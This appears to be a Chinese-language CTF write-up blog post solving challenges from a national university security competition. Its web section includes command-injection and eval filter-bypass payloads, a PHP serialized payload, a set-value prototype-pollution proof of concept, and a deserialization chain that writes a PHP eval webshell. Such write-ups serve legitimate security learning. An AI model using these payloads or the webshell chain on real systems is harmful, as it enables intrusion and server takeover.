wqpw_blog

= =

View on GitHub
27 August 2020

第十三届全国大学生信息安全竞赛创新实践能力赛初赛部分题解

by wqpw

MISC1 签到

qq群,等每个地区的ip超过10个
flag{同舟共济扬帆起,乘风破浪万里航。}

MISC2 the_best_ctf_game

下载附件解压,用16进制编辑器打开可以看到:

2

排下来就是flag,用替换处理一下得到:

3

flag{65e02f26-0d6e-463f-bc63-2df733e47fbe}

MISC3 电脑被黑

下载解压附件,用binwalk -e disk_dump提取出文件,逆向demo

4

fakeflag.txt验证程序没问题,又由fakeflag.txt知道flag{加密后是D*\x03\xe5),利用16进制编辑器在disk_dump中全局搜索D*\x03\xe5)找到真flag

5

用程序跑一下

#include <stdio.h>
#include <string.h>
//char v7[] = "D*\x03\xe5)\xbc\x96\x7fU5\x1b\xe1\xdd\xa4\x85\xa2\x1d\x0e\xef\xd0\xa7k";
char v7[] = "\x44\x2A\x03\xE5\x29\xA3\xAF\x62\x05\x31\x4E\xF3\xD6\xEB\x90\x66\x24\x5C\xB7\x92\xF6\xD7\x4D\x0B\x6A\x41\xA3\x85\xEF\x90\x5A\x7E\x5B\xEC\xC1\xF0\xD4\x61\x12\x12\x45\xEB\xB8";
//00888000
int main()
{
    int len = strlen(v7);
    int v4 = 34;
    int v5 = 0;
    for (int i = 0, j = len-1; i < len; i++,j--) {
        //char v6 = v7[i];
        //printf("%c", (v4 ^ (v5 + v6)));
        //v7inv[j] = (v4 ^ (v5 + v6));
        //printf("%d %d %d\n", v4, v5, v6);
        v4 += 34;
        v5 = (v5 + 2) & 0xf;
    }
    putchar(10);
    for (int i = len - 1; i >= 0; i--) {
        char v6 = v7[i];
        v4 -= 34;
        v5 = (v5 - 2) & 0xf;
        printf("%c", ((v4 ^ v6) - v5));
        //printf("%d %d %d\n", v4, v5, v6);
    }
    return 0;
}

6

flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}

CRYPTO8 bd

根据这篇文章【技术分享】CTF中RSA的常见攻击方法及附件的task.py

7

直接上工具,把RSAwienerHacker.py最后几行改成:

if __name__ == "__main__":
    #test_is_perfect_square()
    #print("-------------------------")
    #test_hack_RSA()
    hacked_d = hack_RSA(e, n) #task.py里给的
    print(hacked_d)

运行得到d=1485313191830359055093545745451584299495272920840463008756233

然后

from Crypto.Util.number import *
x = pow(c, d, n)
print(long_to_bytes(x))

得到flag{d3752538-90d0-c373-cfef-9247d3e16848}

CRYPTO9 lfsr

https://github.com搜索lfsr.py的第八行代码def lfsr(state, mask):https://github.com/search?q=def+lfsr%28state%2C+mask%29%3A&type=Code

8

找到了现成的工具https://github.com/vbousson/lfsr_breaker/

下下来把模块处理下,在analyser.py最后加一行a = LFSRAnalyser(output.txt的内容),运行得到mask,加上flag{}即可

9

flag{856137228707110492246853478448}

原理是啥暂时不知道.

PWN10 babyjsc

这个题和pwn貌似完全没关系,就是考了个py2和py3的input的差别,py2里input可以执行表达式,直接得到flag,不过这题是py2我也是瞎猜的.

payload:__import__('os').system('cat /home/ctf/flag')

10

REVERSE15 z3

方程组

11

等于的值

12

#!/usr/bin/env python2
import numpy
a=numpy.array([[12,53,6,34,58,36,1],[83,85,12,73,27,96,52],[78,53,24,36,86,25,46],[39,78,52,9,62,37,84],[23,6,14,74,48,12,83],[27,85,92,42,48,15,72],[4,6,3,67,0,26,68]])
b=numpy.array([0x4F17,0x9CF6,0x8DDB,0x8EA6,0x6929,0x9911,0x40A2])
x1=numpy.linalg.solve(a,b)
d=numpy.array([0x2F3E,0x62B6,0x4B82,0x486C,0x4002,0x52D7,0x2DEF])
x2=numpy.linalg.solve(a,d)
f=numpy.array([0x28DC,0x640D,0x528F,0x613B,0x4781,0x6B17,0x3237])
x3=numpy.linalg.solve(a,f)
h=numpy.array([0x2A93,0x615F,0x50BE,0x598E,0x4656,0x5B31,0x313A])
x4=numpy.linalg.solve(a,h)
j=numpy.array([0x3010,0x67FE,0x4D5F,0x58DB,0x3799,0x60A0,0x2750])
x5=numpy.linalg.solve(a,j)
l=numpy.array([0x3759,0x8953,0x7122,0x81F9,0x5524,0x8971,0x3A1D])
x6=numpy.linalg.solve(a,l)
print ''.join(map(lambda x:chr(int(round(x))),x1)),
print ''.join(map(lambda x:chr(int(round(x))),x2)),
print ''.join(map(lambda x:chr(int(round(x))),x3)),
print ''.join(map(lambda x:chr(int(round(x))),x4)),
print ''.join(map(lambda x:chr(int(round(x))),x5)),
print ''.join(map(lambda x:chr(int(round(x))),x6))

flag{7e171d43-63b9-4e18-990e-6e14c2afe648}

REVERSE16 hyperthreading

Ollydbg打开,搜索字符串找到比较的地方下断点

13

运行后随便输个flag{test},在比较的地方查看对应的内存

14

可以看到flag{变成了了DD 5B 9E 1D 20,重新测试输入其他的flag{xxxxx}也可以看到不变,所以猜测是有一个映射关系.

同时根据cmp cl,byte ptr ds:[eax+0x472150]得到加密后的flag为

14

重新运行程序输入0123456789abcdefghijklmnopqrstuvwxyz

16

全都复制出来处理一下,可以再来一次看下{}-_加密后的结果,写个脚本

a = {'-': '8B', '1': '92', '0': '52', '3': '12', '2': 'D2', '5': '91', '4': '51', '7': '11', '6': 'D1', '9': '90', '8': '50', '_': '17', 'a': '9E', 'c': '1E', 'b': 'DE', 'e': '9D', 'd': '5D', 'g': '1D', 'f': 'DD', 'i': '9C', 'h': '5C', 'k': '1C', 'j': 'DC', 'm': 'DB', 'l': '5B', 'o': '1B', 'n': '9B', 'q': 'A2', 'p': '62', 's': '22', 'r': 'E2', 'u': 'A1', 't': '61', 'w': '21', 'v': 'E1', 'y': 'A0', 'x': '60', '{': '20', 'z': 'E0', '}': '9F'}
b = {k:v for v,k in a.items()}
flag='DD 5B 9E 1D 20 9E 90 91 90 90 91 92 DE 8B 11 D1 1E 9E 8B 51 11 50 51 8B 9E 5D 5D 11 8B 90 12 91 50 12 D2 91 92 1E 9E 90 D2 9F'.split(' ')
for i in flag:
  print b[i],

17

flag{a959951b-76ca-4784-add7-93583251ca92}

WEB

easyphp

<?php
    //题目环境:php:7.4.8-apache
    $pid = pcntl_fork();
    if ($pid == -1) {
        die('could not fork');
    }else if ($pid){
        $r=pcntl_wait($status);
        if(!pcntl_wifexited($status)){
            phpinfo();
        }
    }else{
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }

需要找到一个参数要2个以上的函数使进程异常退出,similar_text可以.

18

rceme

 <?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
    return $s;
}
function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }

            //略
    }
    return $content;
}
function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
}

关键就是

@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

要进到if分支里,首先要满足正则$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';,在https://regexr.com/研究一下,可以构造出{if: x}x{end if}

19

本地测试把highlight_file去掉,在那个eval前一行加个echo 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}';打印一下

20

得到注入的位置,然后就是绕过过滤,这个网上有很多文章,比如

system("ls")
"system"("ls")
(system)(ls)
(sy.(st).em)/**/(ls)
"\x73\x79\x73\x74\x65\x6d"("ls")
// ......

使用?a={if: (sy.(st).em)('cat /flag')}x{end if}得到flag.

21

easytrick

 <?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

https://github.com/bowu678/php_bugs的14和22

本地构造测试

<?php
class trick{
    public $trick1 = '9.1';
    public $trick2 = 9.1000000000000009;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo 'flag';
        }
        //var_dump($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2);
        //var_dump($this->trick1, $this->trick2);
    }
}
//highlight_file(__FILE__);
//$a = new trick();
//echo urlencode(serialize($a));
//unserialize($_GET['trick']);
error_reporting(0);
$a='9.1';
$a = (string)$a;
$b=9.1000000000000009; //0的个数要足够
echo strlen($a);echo strlen($b);
echo "\n";
var_dump($a, $b);
echo "\n";
var_dump($a !== $b, md5($a) === md5($b), $a != $b);

22

再把$a = new trick();echo urlencode(serialize($a));加上,得到payload:O%3A5%3A"trick"%3A2%3A{s%3A6%3A"trick1"%3Bs%3A3%3A"9.1"%3Bs%3A6%3A"trick2"%3Bd%3A9.100000000000001%3B}

23

littlegame

首先盲猜就是原型链污染.

把代码下下来本地跑一下node bin/www(把app.js的secret和routes/index.js的flag随便改改方便测试)

代码审计,看routes/index.js,第72行是setFn(req.session.knight, key, value);,显然有问题(题见多了)

vscode里面右键转到定义得知用的是set-value这个库,项目地址在https://github.com/jonschlinkert/set-value

24

在issues里可以找到漏洞https://github.com/jonschlinkert/set-value/issues/17

24

https://snyk.io/vuln/SNYK-JS-SETVALUE-450213给了POC

const setFn = require('set-value');
const paths = [ 'constructor.prototype.a0', '__proto__.a1', ];

function check() {
    for (const p of paths) {
        setFn({}, p, true);
    }
    for (let i = 0; i < paths.length; i++) {
        if (({})[`a${i}`] === true) {
            console.log(`Yes with ${paths[i]}`);
        }
    }
}
check();

然后routes/index.js里和flag有关的是

const Admin = {
    "password1":process.env.p1,
    "password2":process.env.p2,
    "password3":process.env.p3
}
//略
router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            //res.send(process.env.flag);
            res.send('flag');
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }
});
//略
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

/DeveloperControlPanelkey是可以指定的,所以利用原型链污染加一个password就可以了,而且/Privilegekeyvalue都可以控制.

26

POST发送两次,然后

27

babyunserialize

用御剑扫到网站备份www.zip

28

然后本地审计调试.

显然这题要我们挖一条有用的反序列化利用链,第一步一般是是全局搜索__destruct

29

可以看到只有3个,其中image.php是删文件,ws.php虽然有动态函数但参数类型控制不了,只能看下jig.php

    function __destruct() {
        if ($this->lazy) {
            $this->lazy = FALSE;
            foreach ($this->data?:[] as $file => $data)
                $this->write($file,$data);
        }
    }

貌似是写文件,看一下write的定义

    function write($file,array $data=NULL) {
        if (!$this->dir || $this->lazy)
            return count($this->data[$file]=$data);
        $fw=\Base::instance();
        switch ($this->format) {
            case self::FORMAT_JSON:
                $out=json_encode($data,JSON_PRETTY_PRINT);
                break;
            case self::FORMAT_Serialized:
                $out=$fw->serialize($data);
                break;
        }
        return $fw->write($this->dir.$file,$out);
    }

然后$fw->writelib\base.php

    function write($file,$data,$append=FALSE) {
        return file_put_contents($file,$data,$this->hive['LOCK']|($append?FILE_APPEND:0));
    }

可以看到整个流程对文件名,文件内容没有任何过滤,顶多包装了一下内容,对php是没有影响的.

经过调试验证构造出exp

<?php
namespace db {
    class Jig
    {
        protected $dir = "xxx";
        protected $data = ["QAQ.php" => ["QWQ" => '<?php eval($_POST[0]); ?>']];
        protected $lazy = 1;
    };
    $a = new Jig();
    echo urlencode(serialize($a));
}
?>

拿生成的payload打一下

30

成功写入shell,然后在/tmp下找到flag,因为可写目录只有web根目录和/tmp

31

tags: blog